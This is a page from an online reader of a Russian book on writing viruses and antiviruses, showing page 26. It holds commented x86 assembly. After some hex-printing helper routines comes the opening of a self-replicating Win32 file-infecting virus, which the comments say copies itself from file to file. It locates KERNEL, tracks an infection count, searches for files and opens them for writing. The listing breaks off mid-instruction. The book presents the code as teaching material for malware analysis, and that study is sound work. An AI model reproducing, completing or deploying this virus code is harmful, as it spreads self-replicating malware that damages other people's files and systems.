Создаем вирус и антивирус. Игорь Гульев
Чтение книги онлайн.

Читать онлайн книгу Создаем вирус и антивирус - Игорь Гульев страница 26

Название: Создаем вирус и антивирус

Автор: Игорь Гульев

Издательство:

Жанр: Компьютеры: прочее

Серия:

isbn: 5-89818-087-7

isbn:

СКАЧАТЬ HexWrite8

      ret

      HexWrite16 endp

      ;Процедура перевода двойного слова в ASCII−формат для печати.

      ;Значение, находящееся в регистре EAX, будет записано

      ;в ASCII−формате по адресу ES:EDI

      HexWrite32 proc

      ;Сохраним младшее слово из стека

      push eax

      ;Загрузим старшее слово в регистр AX

      shr eax, 16

      ;Переведем старшее слово в ASCII−формат

      call HexWrite16

      ;Восстановим младшее слово из стека

      pop eax

      ;Переведем младшее слово в ASCII−формат

      call HexWrite16

      ret

      HexWrite32 endp

      ;Сделаем процедуру WndProc доступной извне

      public WndProc

      ends

      ;Здесь начинается код вируса. Этот код переписывается из файла

      ;в файл. Все вышеописанное – всего лишь программа−носитель

      vladseg segment para public ”vlad”

      assume cs:vladseg

      vstart:

      ;Вычислим текущий адрес

      call recalc

      recalc:

      pop ebp

      mov eax,ebp

      db 2Dh ;Код команды SUB AX

      subme dd 30000h+(recalc−vstart)

      ;Сохраним адрес в стеке

      push eax

      ;Вычислим стартовый адрес вирусного кода

      sub ebp,offset recalc

      ;Ищем KERNEL. Возьмем вторую известную нам точку KERNEL

      mov eax,[ebp+offset kern2]

      ;Проверим ключ. Если ключа нет, перейдем к точке 1

      cmp dword ptr [eax],5350FC9Ch

      jnz notkern2

      ;KERNEL найден, точка 2

      mov eax,[ebp+offset kern2]

      jmp movit

      ;Точка 2 не подошла, проверим точку 1

      notkern2:

      ;Возьмем адрес первой известной нам точки KERNEL

      mov eax,[ebp+offset kern1]

      ;Проверим ключ, если ключа нет – выходим

      cmp dword ptr [eax],5350FC9Ch

      jnz nopayload

      ;KERNEL найден, точка 1

      mov eax,[ebp+offset kern1]

      ;KERNEL найден, адрес точки входа находится в регистре EAX

      movit:

      ;Сохраним адрес KERNEL

      mov [ebp+offset kern],eax

      cld

      ;Запомним текущую директорию

      lea eax,[ebp+offset orgdir]

      push eax

      push 255

      call GetCurDir

      ;Инициализируем счетчик заражений

      mov byte ptr [ebp+offset countinfect],0

      ;Ищем первый файл

      infectdir:

      lea eax,[ebp+offset win32_data_thang]

      push eax

      lea eax,[ebp+offset fname]

      push eax

      call FindFile

      ;Сохраним индекс для поиска

      mov dword ptr [ebp+offset searchhandle],eax

      ;Проверим, найден ли файл. Если файл не найден,

      ;меняем директорию

      cmp eax,–1

      jz foundnothing

      ;Откроем файл для чтения и записи

      gofile:

      push 0

      push dword ptr [ebp+offset fileattr] ;FILE_ATTRIBUTE_NORMAL

      push 3 ;OPEN_EXISTING

      push 0

      push 0

      push 80000000h+40000000h ;GENERIC_READ+GENERIC_WRITE

      lea СКАЧАТЬ